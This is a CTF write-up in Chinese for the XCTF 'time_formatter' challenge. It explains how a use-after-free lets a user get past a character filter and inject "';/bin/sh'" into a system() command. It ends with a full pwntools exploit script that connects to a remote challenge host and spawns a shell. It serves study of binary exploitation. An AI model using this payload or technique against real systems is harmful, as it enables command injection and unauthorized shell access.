time_formatter(xctf)
程序员文章站
2022-05-15 20:18:03
...
0x0 程序保护和流程
保护:
流程:
main()
选择1可以设置时间格式,选择2可以设置时间,选择3可以设置时区,选择4可以打印时间,选择5可以退出程序。
可以看到再选择4的时候使用了snprintf函数构造了一个命令字符串,然后再交由system函数执行相应的命令。
ptr在选择1中被赋值。
并且ptr所指向的内存空间中的字符串不能含有除**%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^#** 之外的字符。
最后进入选择5。
发现程序在退出之前将ptr和value这两个全局变量给free掉了,这两个变量分别在选择1和选择3中使用了同一个函数调用strdup函数进行赋值,又因为strdup函数内部包含了malloc函数,因此存在UAF漏洞。
0x1 利用过程
1.在shell中的同一行中要想两条命令分别执行有两种方法:1.使用**&&连接 2.使用;连接。但是在第一种方法下只有当&&之前的命令执行成功后才能执行后一条命令,而;**不受限制。
2.在shell中单引号包含住的表示字符串,所以可以将构造command字符串进行改造。再使用一对单引号与原来字符串中的单引号进行匹配。之后再在其中加上分号和想要执行的命令。
/bin/date -d @%d +'';/bin/sh'' #先执行/bin/date -d @%d +''; 再执行/bin/sh''
3.因为ptr所指向的内存空间中的字符串有限制。所以需要通过UAF完成利用。因为选择1和选择3输入字符串的方式都是一样的所以可以先给ptr赋值,之后通过exit将ptr指向的内存空间释放,然后再选择3中给ptr执行的内存空间赋值,而这次赋值没有字符限制。
0x2 exp
from pwn import *
sh=remote('220.249.52.133','40605')
# sh=process('./a')
sh.sendlineafter("> ",str(1))
sh.sendline("test")
sh.sendlineafter("> ",str(5))
sh.sendlineafter("Are you sure you want to exit (y/N)? ","N")
sh.sendlineafter("> ",str(3))
sh.sendline("';/bin/sh'")
sh.sendlineafter(">", str(4))
sh.interactive()
下一篇: 贵阳水产市场在那,海鲜怎么辨别新鲜程度